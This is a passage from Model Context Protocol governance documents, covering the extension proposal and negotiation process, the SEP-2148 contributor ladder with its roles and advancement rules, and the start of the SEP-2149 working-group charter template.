To become an official extension, extensions are created via a SEP in the [main MCP repository](https://github.com/modelcontextprotocol/modelcontextprotocol/) using the [standard SEP guidelines](https://modelcontextprotocol.io/community/sep-guidelines) but with a new type: **Extensions Track**. This type follows the same review and acceptance process as Standards Track SEPs, but clearly indicates that the proposal is for an extension rather than a core protocol addition. The SEP must identify the Working Group and Extension Maintainers that will be responsible for the extension. See [SEP-2148](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2148) for how maintainers are appointed.
Extension SEPs:
* SHOULD be discussed and iterated on in a relevant working group prior to submission.
* MUST have at least one reference implementation in an official SDK prior to review to ensure the extension is practical and implementable.
* MAY reference an existing experimental extension repository and implementations developed during incubation.
* Will be reviewed by the Core Maintainers, who have the final authority over its inclusion as an Official Extension.
Once approved, the author SHOULD produce a PR that introduces the extension to the extension repository and reference in the main spec (see *Spec Recommendation* section). Approved extensions MAY be implemented in additional clients / servers / SDKs (see *SDK Implementation*).
#### Iteration
Once accepted, extensions may be iterated on without further review from the Core Maintainers. The extension repository maintainers are responsible for the review and acceptance of changes to an extension and SHOULD coordinate change via the relevant working group(s). As extensions are independent of the core protocol, extensions may be updated and deployed at any time, but changes MUST ensure they account for backwards compatibility in their design.
#### Promotion to Core Protocol (Optional)
Eventually, some extensions MAY transition to being core protocol features. This SHOULD be treated as a Standards Track SEP with separate core maintainer review. Note that not all extensions are suitable for inclusion in the core protocol (e.g. those specific to an industry) and may remain as extensions indefinitely.
### Spec Recommendation
Extensions will be referenced from a new page on the MCP website at [modelcontextprotocol.io/extensions](http://modelcontextprotocol.io/extensions) (to be created) with links to their specification.
Links to relevant extensions MAY also be added to the core specification as appropriate (e.g. [https://modelcontextprotocol.io/specification/draft/basic/authorization](https://modelcontextprotocol.io/specification/draft/basic/authorization) may link to ext-auth extensions), but they MUST be clearly advertised as optional extensions and SHOULD be links only (not copies of specification text).
### SDK Implementation
SDKs MAY implement extensions. Where implemented, extensions MUST be disabled by default and require explicit opt-in. SDK documentation SHOULD list supported extensions.
SDK maintainers have full autonomy over extension support in their SDKs:
* Maintainers are solely responsible for the implementation and maintenance of any extensions they choose to support.
* Maintainers are under no obligation to implement any extension or accept contributed implementations. Extension support is not required for 100% protocol conformance or the upcoming SDK conformance tiers.
* This SEP does not prescribe how SDKs should structure or package extensions. Maintainers may provide extension points, plugin systems, or any other mechanism they see fit.
### Evolution
All extensions evolve **independently** of the core protocol, i.e. a new version of an extension MAY be published without review by the core maintainers. Minor updates, bug fixes, and non-breaking enhancements to an extension do not require a new SEP; these changes are managed by the extension repository maintainers.
Extensions SHOULD be versioned, but exact versioning approach is not specified here.
### Negotiation
Clients and servers advertise their support for extensions in the [ClientCapabilities](https://modelcontextprotocol.io/specification/2025-06-18/schema#clientcapabilities) and [ServerCapabilities](https://modelcontextprotocol.io/specification/2025-06-18/schema#servercapabilities) fields respectively, and in the [Server Card](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1649) (currently in progress).
A new "extensions" field will be introduced to each that is a map of *extension identifiers* to per-extension settings objects. Each extension specifies the schema of its settings object; an empty object indicates no settings.
#### Client Capabilities
Clients advertise extension support in the `initialize` request:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"method": "initialize",
"params": {
"protocolVersion": "2025-06-18",
"capabilities": {
"roots": {
"listChanged": true
},
"extensions": {
"io.modelcontextprotocol/ui": {
"mimeTypes": ["text/html;profile=mcp-app"]
}
}
},
"clientInfo": {
"name": "ExampleClient",
"version": "1.0.0"
}
}
}
```
#### Server Capabilities
Servers advertise extension support in the `initialize` response:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"protocolVersion": "2025-06-18",
"capabilities": {
"tools": {},
"extensions": {
"io.modelcontextprotocol/ui": {}
}
},
"serverInfo": {
"name": "ExampleServer",
"version": "1.0.0"
}
}
}
```
#### Server-Side Capability Checking
Servers SHOULD check client capabilities before offering extension-specific features:
```typescript theme={null}
const hasUISupport = clientCapabilities?.extensions?.[
"io.modelcontextprotocol/ui"
]?.mimeTypes?.includes("text/html;profile=mcp-app");
if (hasUISupport) {
// Register tools with UI features
} else {
// Register text-only fallback
}
```
#### Graceful Degradation
If one party supports an extension but the other does not, the supporting party MUST either revert to core protocol behavior or reject the request with an appropriate error if the extension is mandatory. Extensions SHOULD document their expected fallback behavior. For example, a server offering UI-enhanced tools should still return meaningful text content for clients that do not support the UI extension, while a server requiring a specific authentication extension MAY reject connections from clients that do not support it.
### Legal Requirements
#### Trademark Policy
* Use of MCP trademarks in extension identifiers does not grant trademark rights. Third parties may not use 'MCP', 'Model Context Protocol', or confusingly similar marks in ways that imply endorsement or affiliation.
* MCP makes no judgment about trademark validity of terms used in extensions.
#### Antitrust
* Extension developers acknowledge that they may compete with other participants, have no obligation to implement any extension, are free to develop competing extensions and protocols, and may license their technology to third parties including for competing solutions.
* Status as an official extension does not create an exclusive relationship.
* Extension repository maintainers act in individual capacity using best technical judgment.
#### Licensing
Official extensions MUST be available under the Apache 2.0 license.
#### Contributor License Grant
By submitting a contribution to an official MCP extension repository, you represent that:
1. You have the legal authority to grant the rights in this agreement
2. Your contribution is your original work, or you have sufficient rights to submit it
3. You grant to Linux Foundation and recipients of the specification a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable license to:
* Reproduce, prepare derivative works of, publicly display, publicly perform, sublicense, and distribute the contribution
* Make, have made, use, offer to sell, sell, import, and otherwise transfer implementations
#### No Other Rights
Except as explicitly set forth in this section, no other patent, trademark, copyright, or other intellectual property rights are granted under this agreement, including by implication, waiver, or estoppel.
### Not Specified
This SEP does not specify all aspects of an extension system. The following is an incomplete list of what this SEP does not address:
* **Schema**: we do not specify a mechanism for extensions to advertise how they modify the schema.
* **Dependencies**: we do not specify if/how extensions may have dependencies on specific core protocol versions, or interdependencies with other extensions (or versions of extensions).
* **Profiles**: we do not specify a way of grouping extensions.
These are omitted not because they are unimportant, but because they may be added later and the goal of this SEP is simply to get some initial extension structure off the ground and defers detailed technical discussion around more complex/debatable aspects of extensions.
## Rationale
This design for extensions uses the following principles:
* **Start simple**: the intention is to have a relatively simple mechanism that allows people to start building and proposing extensions in a structured way.
* **Clear governance**: For now, the focus is on clear governance and less on implementation details.
* **Refine later**: Over time, once we have more experience with extensions, we can adjust the approach appropriately.
Some specific design choices:
* **Why extension repositories instead of individual/independent extensions?** Repositories provide a natural group and governance structure that allows for the repository maintainers to enforce structure and conformity to extensions. It avoids a failure case of different extensions in an area working in incompatible ways. Also provides a way to delegate much of the governance work.
* **Why not require core maintainer review for official extensions?** Delegated reviews allows for extensions to evolve autonomously without being bottlenecked on core maintainer review, which is already a (often months) long process.
* **Why separate versioning?** Extensions are additions to the spec and optional so there is no need to tie versions together. Separate versions allow for more rapid iteration.
## Backward Compatibility
The extension framework itself is purely additive to the core protocol, so there are no backwards compatibility concerns with the core specification.
The design described in this SEP is consistent with existing official extensions ([ext-apps](https://github.com/modelcontextprotocol/ext-apps) and [ext-auth](https://github.com/modelcontextprotocol/ext-auth)), which already use the patterns specified here for capability negotiation and extension identifiers.
However, individual extensions may have their own backwards compatibility concerns. Extensions MUST consider and account for backwards compatibility in their design, both across core protocol versions and extension versions. Breaking changes within an extension MUST use a new extension identifier (see *Definition* section). Extensions SHOULD also document their approach to backwards compatibility and stability (e.g. an extension MAY advertise itself as "experimental" indicating that it may break without notice).
## Security Implications
Extensions MUST implement all related security best practices in the area that they extend.
Clients and servers SHOULD treat any new fields or data introduced as part of an extension as untrusted and SHOULD comprehensively validate them.
## Reference Implementation
To be provided.
# SEP-2148: MCP Contributor Ladder
Source: https://modelcontextprotocol.io/seps/2148-contributor-ladder
MCP Contributor Ladder
Final
Process
This SEP has reached Final status and is preserved as a historical record of
the design as accepted. Changes made to the protocol after finalization are
not reflected here. Refer to the [current
specification](/specification/latest) and its changelog for authoritative
requirements.
| Field | Value |
| ------------- | ---------------------------------------------------------------------------------------------------------------------------- |
| **SEP** | 2148 |
| **Title** | MCP Contributor Ladder |
| **Status** | Final |
| **Type** | Process |
| **Created** | 2026-01-15 |
| **Author(s)** | David Soria Parra ([@dsp-ant](https://github.com/dsp-ant)), Sarah Novotny ([@sarahnovotny](https://github.com/sarahnovotny)) |
| **Sponsor** | David Soria Parra ([@dsp-ant](https://github.com/dsp-ant)) |
| **PR** | [#2148](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2148) |
***
## Abstract
This SEP establishes a formal contributor ladder for the Model Context Protocol project, defining clear roles, responsibilities, and advancement criteria from first-time contributor through Core Maintainer. The ladder provides transparent pathways for community members to understand how they can grow their involvement and influence within the project.
This SEP is a companion to [SEP-2149: MCP Group Governance and Charter Template](./2149-working-group-charter-template.md), which defines how Working Groups and Interest Groups operate. The two SEPs intersect: WG/IG leadership requires Member status on this ladder, and group participation is a recognized pathway to ladder advancement.
## Motivation
As MCP adoption grows, the project needs a clear framework for:
1. **Contributor Development**: Community members lack visibility into how to grow their involvement and influence within the MCP project. A defined ladder shows the path from first contribution to project leadership.
2. **Trust Building**: Merge rights and other high-privilege responsibilities are earned through demonstrated commitment and good judgment over time. A graduated system ensures contributors are set up for success and are trusted by existing maintainers and broader community before taking on greater ownership of the project.
3. **Organizational Diversity**: With multiple organizations contributing to MCP, the project needs mechanisms to prevent organizational capture while welcoming participation from outside Anthropic.
4. **Scalability**: Core Maintainer bandwidth is limited. Delegating authority to Maintainers and Working/Interest Group Leads through clear scope definitions enables the project to scale.
5. **Recognition**: Contributors invest significant effort in MCP. Formal recognition through defined roles acknowledges their contributions and encourages sustained engagement.
Without a contributor ladder, advancement decisions become ad-hoc, potentially inconsistent, and opaque to the community.
## Specification
### Guiding Principles
The contributor ladder operates under these principles:
* **Earned Trust**: Advancement based on demonstrated meaningful contributions that align with the project goals, good judgment, and sustained engagement, not tenure alone
* **Multiple Growth Pathways**: Code, specification work, documentation, and community building all lead to advancement
* **Transparency**: Criteria for advancement are explicit and consistently applied
* **Alignment With MCP Goals**: Individual contributors must demonstrate commitment to advance and evolve MCP project components beyond one's employer's interests
### Role Definitions
| Role | Summary | Key Privileges | Minimum Timeline |
| ------------------------------------------------ | --------------------------------------------- | ------------------------------------------------------------------------- | ----------------------------------------------------- |
| [**Contributor**](#contributor) | Anyone who contributes to MCP | Submit issues, PRs, participate in discussions | Immediate |
| [**Member**](#member) | Established, active contributor | GitHub org membership, triage rights, eligible for WG/IG leadership | 2-3 months of meaningful contributions |
| [**Maintainer**](#maintainer) | Area steward with operational responsibility | Merge rights, release participation | 6+ months as Member |
| [**Core Maintainer**](#core-maintainer) | Technical leadership and protocol stewardship | Final decision authority, governance participation | By invitation after sustained Maintainer contribution |
| [**Lead Maintainer**](#lead-maintainer) | Ultimate project authority (founders) | All Core Maintainer privileges, veto authority, appoints Core Maintainers | Reserved for project founders — succession only |
| [**Community Moderator**](#community-moderators) | CoC enforcement and community health | Moderation rights on community platforms, incident handling | Parallel track — Member status + appointment |
*Timelines listed are minimum contribution periods, not guarantees of advancement. They exist to protect the project from rapid privilege escalation and to ensure a high bar of demonstrated commitment. Actual advancement is discretionary and may take longer in practice; the only guarantee is that advancement will not happen on a shorter timescale than documented. Exceptions require explicit Core Maintainer approval with documented rationale.*
### Contributor
Anyone who has contributed to MCP in any form is a contributor. This includes:
* Opening issues or discussions
* Submitting pull requests
* Participating in working group discussions
* Improving documentation
* Helping other community members
**No formal requirements**, we welcome all contributions.
**How to get started:**
* Review the [Contributing Guide](https://modelcontextprotocol.io/community/contributing)
* Join community channels (Discord, GitHub Discussions)
* Look for issues tagged `good-first-issue` or `help-wanted`
* Attend working group meetings
### Member
Members are established contributors who have demonstrated ongoing commitment to the success and growth of MCP.
**Requirements:**
* Multiple contributions to MCP (code, documentation, and/or community)
* At least one merged PR or accepted contribution
* Ongoing engagement with the MCP community and not just one-off contributions
* Enabled two-factor authentication on GitHub
* No objections from existing Members within 7 days
**Sponsorship:**
* Sponsored by two existing Members or Maintainers from different organizations
* or sponsored by one Core Maintainer or Lead Maintainer
**Minimum timeline:** 2-3 months of active participation
**Responsibilities:**
* Continue contributing in good faith
* Be responsive to assigned issues and PRs
* Follow community guidelines and code of conduct
* Help onboard new contributors when possible
**Privileges:**
* GitHub organization membership with triage rights
* Can be assigned to issues and PRs
* Can use shortcut approval or review commands on PRs, such as `/lgtm`
* Listed in community membership roster
* Can create PRs in restricted repositories
* Eligible for Working Group Lead or Interest Group Facilitator roles
**Inactivity:** Members with no contributions for 3 months may be moved to emeritus status. Re-engagement follows a simplified re-familiarization process.
### Maintainer
Maintainers are trusted stewards who take operational responsibility for specific areas.
**Requirements:**
* Member for at least 6 months with sustained, high-quality contributions
* Demonstrated leadership in working groups or significant initiatives
* Shown ability to represent MCP's interests above an individual employer's or organization's interests
* Deep understanding of the MCP vision, roadmap, and design principles
* Understands how their area impacts real-world AI integration and model interaction patterns
* Completed security and governance onboarding
**Sponsorship & Approval:**
* Sponsored by an existing Maintainer or Core Maintainer
* Approved by Core Maintainers
**Responsibilities:**
* Operational ownership of area health (test stability, documentation currency)
* Responsible for the release processes and milestone planning of their respective scope
* Provide timely review of escalated decisions
* Active participation in governance discussions
* Mentor Members and develop future Maintainers
* Represent MCP in external contexts when appropriate
* Engage with the area ecosystem and stakeholders, understanding real-world usage, and representing community needs
* Ensure proposals reaching Core Maintainers are refined, well-considered, and account for ecosystem-wide impact
* Active participation in discussions on communication channels (GitHub issues, Discord)
**Privileges:**
* Merge privileges for owned areas
* Can sponsor new Maintainers
* Participate in roadmap and prioritization discussions
* Listed in `MAINTAINERS.md`
* Release participation
All pathways can lead to Maintainer, though the specific scope will align with the contribution type.
**Inactivity:** Maintainers with no contributions for 6 months may be moved to emeritus status following review by Core Maintainers. Merge rights are revoked upon emeritus transition. Re-engagement requires re-completing security and governance onboarding.
### Core Maintainer
Core Maintainers hold final decision-making authority for the MCP technical direction. This is the highest level of trust in the community.
*Note: The Core Maintainer role is intentionally limited to ensure coherent technical vision while the project scales. Core Maintainer bandwidth concerns are addressed through clearer delegation to Maintainers, Working Group Leads, and Interest Group Facilitators, not expansion of Core Maintainer numbers.*
**Requirements:**
* Sustained contribution as Maintainer or similar roles over at least 6 months
* Demonstrated judgment on complex, project-wide decisions
* Trust and respect across organizational boundaries
* Deep commitment to MCP's long-term success
**Appointment:**
* Nominated by majority of Core Maintainers, approved by Lead Maintainers
* Or direct appointment by Lead Maintainers
When evaluating candidates, Core Maintainers should consider whether the current composition adequately represents the breadth of the MCP ecosystem, including enterprise adopters deploying MCP in production domains.
**Responsibilities:**
* Final technical decision authority for contested or cross-cutting issues
* Stewardship of project vision and design principles
* Governance and policy decisions
* External representation of MCP
* Succession planning and community health
* Ensure restraint and sustainability in protocol evolution
* Participation in Core Maintainer meetings and Core Maintainer meetups
**Privileges:**
* Final approval on breaking changes and major spec revisions
* Voting rights on [SEPs](https://modelcontextprotocol.io/community/sep-guidelines) (Specification Enhancement Proposals)
* Approval of Maintainers
* Governance voting rights / expectation of governance participation
* Administrative rights to all MCP GitHub repositories
* Listed in `MAINTAINERS.md` as Core Maintainer
**Inactivity:** Core Maintainers with no participation in governance or technical decisions for 6 months may be moved to emeritus status following review by Lead Maintainers. Given the trust and visibility of this role, Core Maintainers are expected to proactively communicate reduced availability.
### Lead Maintainer
Lead Maintainers hold ultimate authority over MCP's direction and governance. This is a lifetime appointment reserved for project founders. There is no defined advancement path to this role; it is only assumed through succession when necessary (see [Succession](#succession)).
**Responsibilities:**
* All Core Maintainer responsibilities
* Appointment and removal of Core Maintainers
* Final authority on contested governance decisions
* Project-wide strategic direction
**Privileges:**
* Can act alone where Core Maintainers require multiple approvals
* Veto authority over any decision
* Appointment of successor
### Succession
If a Lead Maintainer leaves their role for any reason, the succession process begins upon their written notice or, if unable to provide notice, upon a determination by the remaining Lead Maintainer(s) or Core Maintainers that the Lead Maintainer is unable to continue serving.
If one or more Lead Maintainer(s) remain, they shall appoint a successor (by majority vote if multiple), and the remaining Lead Maintainer(s) will continue to govern until a successor is appointed.
If no Lead Maintainers remain, the Core Maintainers shall appoint a successor by majority vote within 30 days, and the project operates by two-thirds vote of Core Maintainers until a new Lead Maintainer is appointed.
### Advancement Process
#### Self-Nomination vs. Recognition
Contributors may either:
1. **Self-nominate** when they believe they meet the requirements
2. **Be nominated** by a sponsor who has observed their contributions
Both paths are equally valid. Self-nomination is encouraged and preferred, as it demonstrates initiative and self-awareness of the contribution scope.
#### Process Steps
1. **Nomination**: Nominee or sponsor opens an issue using the nomination template, including links to contributions demonstrating requirements and sponsor confirmations
2. **Community Review**: 7-day period for community input
3. **Decision**: Approving authority reviews and decides
4. **Onboarding**: New role-holder receives appropriate access and onboarding
| Advancement To | Approved By |
| ------------------- | ------------------------------------------------------------------------------- |
| Member | 2 existing Members+ from different organizations, **or** 1 Core/Lead Maintainer |
| Maintainer | 1 Maintainer or Core Maintainer sponsor + Core Maintainer approval |
| Core Maintainer | Lead Maintainers |
| Community Moderator | 1 Core Maintainer or Lead Maintainer |
Self-nomination is encouraged, but nominees must still secure the required sponsorship. Sponsors confirm support in the nomination issue.
### Decision-Making & Escalation
#### Delegation as Default
MCP operates on a principle of delegation: decisions should be made at the lowest appropriate level. This enables the project to move quickly while preserving Core Maintainer bandwidth for cross-cutting concerns.
* **Maintainers, WG Leads, and IG Facilitators** handle day-to-day decisions within scope
* **Core Maintainers** intervene on escalation, cross-cutting issues, or when required (spec changes, Maintainer approval)
* **Lead Maintainer** intervenes only on contested governance decisions or when Core Maintainers cannot reach consensus
When in doubt, make the decision at your level and document it. Escalate only when blocked, when the decision has project-wide implications, or when explicitly required by process.
The detailed escalation procedure for Working Group and Interest Group disputes — including the designation of a Core Maintainer without shared organizational affiliation to resolve the issue — is defined in [SEP-2149 §1.5](./2149-working-group-charter-template.md).
#### Escalation Matrix
| Issue Type | First Escalation | Second Escalation | Timeline |
| ------------------------------------------ | ------------------- | ----------------- | ---------------- |
| Technical disagreement in PR | Maintainer in scope | Core Maintainer | 5 business days |
| Technical disagreement in WG | WG Lead | Core Maintainer | 5 business days |
| Technical disagreement in IG | IG Facilitator | Core Maintainer | 5 business days |
| Disagreement with WG Lead / IG Facilitator | Core Maintainer | Lead Maintainer | 7 business days |
| Disagreement with Maintainer decision | Core Maintainer | Lead Maintainer | 7 business days |
| Core Maintainer disagreement | Lead Maintainer | N/A | 10 business days |
| Code of Conduct violation | Community Moderator | Core Maintainer | Immediate |
| Security issue | Core Maintainer | Lead Maintainer | Immediate |
**Escalation process:**
1. Document the decision, options considered, and points of disagreement
2. Present to the escalation authority with a clear ask
3. Escalation authority either: (a) provides binding guidance, (b) requests more information, or (c) escalates further if needed
### Contribution Pathways
MCP values diverse contributions. Here are recognized pathways to advancement:
#### Code Contributions
* SDK development (TypeScript, Python, etc.)
* Testing infrastructure
* Tooling and developer experience
#### Specification Work
* Drafting or refining spec text
* [SEP](https://modelcontextprotocol.io/community/sep-guidelines) authorship or co-authorship
* Protocol design participation
* Compatibility analysis
#### Documentation
* User guides and tutorials
* API documentation
* Architecture documentation
* Maintaining content currency
#### Community Building
* Onboarding new contributors
* Working group facilitation
* Community support (Discord, GitHub discussions)
* Event organization or representation
#### Quality & Security
* Bug triage and reproduction
* Security review and analysis
* Test coverage improvement
* Release validation
### Working Group and Interest Group Leadership
Working Group (WG) Leads and Interest Group (IG) Facilitators are a special form of community leadership that doesn't require Maintainer status. WG/IG leadership focuses on facilitation and coordination rather than merge authority. The full governance rules for WGs and IGs — including participation tiers, decision-making process, meeting requirements, and lifecycle — are defined in [SEP-2149: MCP Group Governance and Charter Template](./2149-working-group-charter-template.md).
**Requirements:**
* Member status minimum
* Demonstrated sustained engagement with the WG/IG's scope
* Good facilitation and communication skills
* Ability to represent multiple perspectives fairly
* Group and its leadership are sponsored by at least two Core Maintainers or one Lead Maintainer
**Relationship to Contributor Ladder:**
* WG Lead and IG Facilitator experience is valuable for advancement to Maintainer
* WG Leads and IG Facilitators without Maintainer status work with Maintainers for merge decisions
* WG Leads and IG Facilitators have authority over group operations but not spec approval
* WG Leads and Maintainers may sponsor SEPs
* WG Leads may triage SEPs in their scope area, including closing SEPs that do not fit the WG's roadmap (with documented rationale; authors may appeal to Core Maintainers)
### Community Moderators
Community Moderators are trusted individuals who help keep the MCP community healthy, safe, and welcoming. This is a dedicated community role focused on moderation and Code of Conduct enforcement rather than technical contribution.
**Requirements:**
* Member status minimum
* Demonstrated good judgment and composure in community interactions
* Understanding of the MCP Code of Conduct and community guidelines
* Ability to handle sensitive situations with discretion and fairness
**Sponsorship:**
* Sponsored by a Core Maintainer or Lead Maintainer
**Responsibilities:**
* Monitor community channels (Discord, GitHub Discussions, etc.) for adherence to the Code of Conduct
* Handle Code of Conduct incident reports, including initial triage and response
* Escalate serious or complex incidents to Core Maintainers
* Help maintain a welcoming and inclusive environment for all community members
* Coordinate with other moderators to ensure consistent enforcement
* Document moderation actions and maintain confidentiality of incident details
* Recuse from any incident in which they are personally involved; such incidents are handled directly by Core Maintainers
**Privileges:**
* Moderation rights on community platforms (Discord, GitHub Discussions)
* Access to moderation tools and private moderation channels
* Authority to issue warnings, mute, or temporarily ban users for Code of Conduct violations
* Listed in community moderator roster
**Relationship to Contributor Ladder:**
* Community Moderator is a parallel track, not a prerequisite for technical advancement
* Moderator experience is valued for advancement to any role, particularly where community judgment is important
* Moderators may simultaneously hold other roles (Member, Maintainer, etc.)
**Removal:** Community Moderators may be removed by Core Maintainers for failure to uphold moderation standards or Code of Conduct violations. Moderators may step down voluntarily at any time.
### Recognition and Visibility
The community recognizes contributors through:
* **Contributor lists** such as `MAINTAINERS.md`
* **GitHub teams** for appropriate access
* **Public acknowledgment** in release notes
* **Speaking opportunities** at community events
* **Badges** (if implemented) on community platforms
### Stepping Down and Emeritus Status
Contributors may step down from roles for any reason. This is normal and healthy.
**Process:**
1. Notify relevant leadership (WG Lead, IG Facilitator, Maintainer, or Core Maintainer as appropriate)
2. Help transition any ongoing work
3. Move to emeritus status
**Emeritus:**
* Recognized for past contributions
* May return to active status with abbreviated re-onboarding
* No ongoing responsibilities or privileges
**Involuntary Removal:** In cases of code of conduct violations or sustained non-participation, roles may be revoked following appropriate review processes.
## Rationale
### Why a Formal Ladder?
Informal advancement creates inconsistency and opacity. A formal ladder:
* Sets clear expectations for all parties
* Provides a common vocabulary for discussing advancement
* Creates accountability in advancement decisions
* Enables self-nomination, reducing gatekeeping
### Why Minimum Timelines?
Timelines are floors, not targets. They exist for security and trust-building:
* Trust is built through demonstrated behavior over time
* Security risks increase with rapid privilege escalation
* Deep project understanding requires sustained engagement
* Behavior patterns only become visible over longer periods
Meeting a minimum timeline does not create an entitlement to advancement; it establishes eligibility for consideration. Exceptions to minimums require explicit Core Maintainer approval with documented rationale.
### Why Two-Organization Sponsorship?
Requiring sponsors from different organizations:
* Prevents organizational capture of the contributor base
* Ensures contributors are recognized beyond their employer
* Maintains diverse perspectives in advancement decisions
### Model Inspiration
This ladder is modeled on Kubernetes community membership structures and adapted for MCP's needs and stage of development.
## Backward Compatibility
This SEP establishes new processes without modifying existing structures. Current contributors retain their existing access and standing.
## Security Implications
This SEP directly addresses security through:
* Graduated privilege escalation with timeline requirements
* Two-factor authentication requirement for Members
* Multi-organization sponsorship to prevent capture
* Security onboarding requirement for Maintainers
## Reference Implementation
Upon acceptance, this SEP will be implemented by:
1. Adding the contributor ladder to `docs/community/contributor-ladder.mdx`
2. Creating nomination issue templates in `.github/ISSUE_TEMPLATE/` (see Appendix for checklist templates)
3. Updating `MAINTAINERS.md` format to reflect role distinctions
## Appendix: Checklist Templates
### Member Nomination Checklist
```
**Nominee:** [GitHub handle]
**Sponsors:** [GitHub handles]
- **Organizations represented:** [Must be 2+ different orgs among sponsors]
**Contributions:**
- [ ] Link to merged PR(s)
- [ ] Link to issues filed/triaged
- [ ] Link to discussions participated in
- [ ] Duration of participation: [X months]
**Sponsor Attestations:**
Sponsors confirm
- [ ] Sponsors confirm nominee demonstrates community values
- [ ] Sponsors confirm nominee demonstrates sustained engagement
```
### Maintainer Nomination Checklist
```
**Nominee:** [GitHub handle]
**Scope:** [Specific area]
**Sponsor:** [GitHub handle, must be Maintainer or Core Maintainer]
**Requirements:**
- [ ] Member for 6+ months with sustained, high-quality contributions
- [ ] Links to demonstrated leadership in WG, IG, or significant initiatives
- [ ] Evidence of representing MCP's interests above employer/organization interests
- [ ] Deep understanding of MCP vision, roadmap, and design principles
- [ ] Security and governance onboarding completed (or scheduled)
**Core Maintainer Approval:**
- [ ] Approved by Core Maintainers
```
### Community Moderator Nomination Checklist
```
**Nominee:** [GitHub handle]
**Sponsor:** [GitHub handle, must be Core Maintainer or Lead Maintainer]
**Requirements:**
- [ ] Member status
- [ ] Links to demonstrated good judgment and composure in community interactions
- [ ] Confirmed understanding of the MCP Code of Conduct and community guidelines
**Sponsor Attestation:**
- [ ] Sponsor confirms nominee can handle sensitive situations with discretion and fairness
```
# SEP-2149: MCP Group Governance and Charter Template
Source: https://modelcontextprotocol.io/seps/2149-working-group-charter-template
MCP Group Governance and Charter Template
Final
Process
This SEP has reached Final status and is preserved as a historical record of
the design as accepted. Changes made to the protocol after finalization are
not reflected here. Refer to the [current
specification](/specification/latest) and its changelog for authoritative
requirements.
| Field | Value |
| ------------- | ---------------------------------------------------------------------------------------------------------------------------- |
| **SEP** | 2149 |
| **Title** | MCP Group Governance and Charter Template |
| **Status** | Final |
| **Type** | Process |
| **Created** | 2025-01-15 |
| **Author(s)** | David Soria Parra ([@dsp-ant](https://github.com/dsp-ant)), Sarah Novotny ([@sarahnovotny](https://github.com/sarahnovotny)) |
| **Sponsor** | David Soria Parra ([@dsp-ant](https://github.com/dsp-ant)) |
| **PR** | [#2149](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2149) |
***
## Abstract
This SEP establishes governance rules and a standardized charter template for MCP's two collaborative group types: **Working Groups (WGs)** and **Interest Groups (IGs)**. Working Groups produce concrete deliverables — SEPs, implementations, and code. Interest Groups facilitate discussion and knowledge-sharing to identify problems and gather requirements. The governance rules define the requirements that all groups must follow, with lighter expectations for IGs where appropriate. The charter template defines the structure each group uses to document its specific mission, scope, leadership, and work. Together they address community feedback about unclear authority delegation and inconsistent processes across groups.
This SEP is a companion to [SEP-2148: MCP Contributor Ladder](./2148-contributor-ladder.md), which defines the org-wide contributor roles (Member, Maintainer, Core Maintainer, Lead Maintainer) referenced throughout this document. Group leadership roles intersect with the contributor ladder: WG Leads and IG Facilitators must hold at least Member status on the ladder, and group participation is a recognized pathway to ladder advancement.
## Motivation
Community interviews and feedback identified several challenges with the current group structure:
1. **Unclear Authority**: It's not always clear what decisions a working group can make autonomously versus what requires Core Maintainer approval. This leads to hesitation and bottlenecks.
2. **Inconsistent Decision-Making**: Different groups operate with different norms. Decisions made in one meeting may be contradicted in another, with no clear process for resolution.
3. **Participation Confusion**: Community members are uncertain about who should participate in groups, what levels of involvement exist, and how to become more involved.
4. **Scope Creep**: Without explicit boundaries, groups may gradually expand into areas owned by other groups or outside their mandate.
5. **Missing Escalation Paths**: When groups get stuck, there's no clear path to resolution, leading to prolonged disagreements or abandoned initiatives.
6. **WG/IG Distinction**: The difference between Working Groups and Interest Groups is not always clear to participants, leading to mismatched expectations about outputs and commitment.
A standardized charter template and shared governance rules address these issues by establishing consistent processes across all groups while requiring each group to explicitly define its specific scope and boundaries.
## Specification
MCP maintains two types of collaborative groups:
* **Working Groups (WGs)** produce concrete deliverables — SEPs, reference implementations, and code. Active contribution is expected.
* **Interest Groups (IGs)** facilitate discussion and knowledge-sharing around a topic area. They produce problem statements, use cases, and recommendations. Active contribution is expected.
This specification has two parts:
1. **Group Governance** — rules that apply to all MCP groups (WGs and IGs), with differences noted where applicable
2. **Charter Template** — the structure each group fills in to define its specific mission, scope, and operations
***
### Part 1: Group Governance
The following rules apply to all MCP Working Groups and Interest Groups. Individual charters cannot override these requirements. Where rules differ between WGs and IGs, this is noted explicitly.
#### 1.1 Leadership
Each group has one or more **Leads** (referred to as **Facilitators** for Interest Groups).
**Requirements for all Leads and Facilitators:**
* Hold at least Member status on the [MCP Contributor Ladder](./2148-contributor-ladder.md)
* Demonstrated sustained engagement with the group's scope area
* Ability to facilitate across organizational boundaries
* Commitment to running the group's operations
* Group and its leadership sponsored by at least two Core Maintainers or one Lead Maintainer
**Additional requirements for WG Leads:**
* Commitment to 2-3 hours/week for WG activities
#### 1.2 Leadership Responsibilities
**All Leads are responsible for:**
* Schedule and facilitate regular meetings
* Set agendas in collaboration with participants and publish them in advance
* Ensure meeting notes are published within 48 hours
* Maintain the group's documentation
* Maintain a members list and respective access list in [https://github.com/modelcontextprotocol/access](https://github.com/modelcontextprotocol/access)
* Proactively recruit and retain broad, representative membership across organizations and perspectives
**WG Leads are additionally responsible for:**
* Drive proposals through the [SEP](https://modelcontextprotocol.io/community/sep-guidelines) (Specification Enhancement Proposal) process to resolution
* Triage SEPs in the WG's scope area, including closing SEPs that do not fit the roadmap (with documented rationale; authors may appeal to Core Maintainers)
* Escalate blocked decisions to Core Maintainers with clear context
* Maintain the working group's roadmap
* Solicit feedback from one or more Core Maintainers on the general direction of the group on a continuous basis
* Provide quarterly status updates to the Community and Core Maintainer Group
#### 1.3 Participation Levels
All groups use the following participation tiers. Note that **WG Member** is a group-specific participation level distinct from the org-wide **Member** role defined in the [Contributor Ladder](./2148-contributor-ladder.md) — an individual may be a WG Member in a specific group without holding org-wide Member status, and vice versa.
| Level | Description | Privileges |
| -------------------- | ------------------------------------------------- | ------------------------------------------------------------------ |
| **Observer** | Anyone interested in following the group's work | Read access, may attend meetings, limited discussion participation |
| **Participant** | Active contributor to group discussions | Can propose agenda items, participate in async votes |
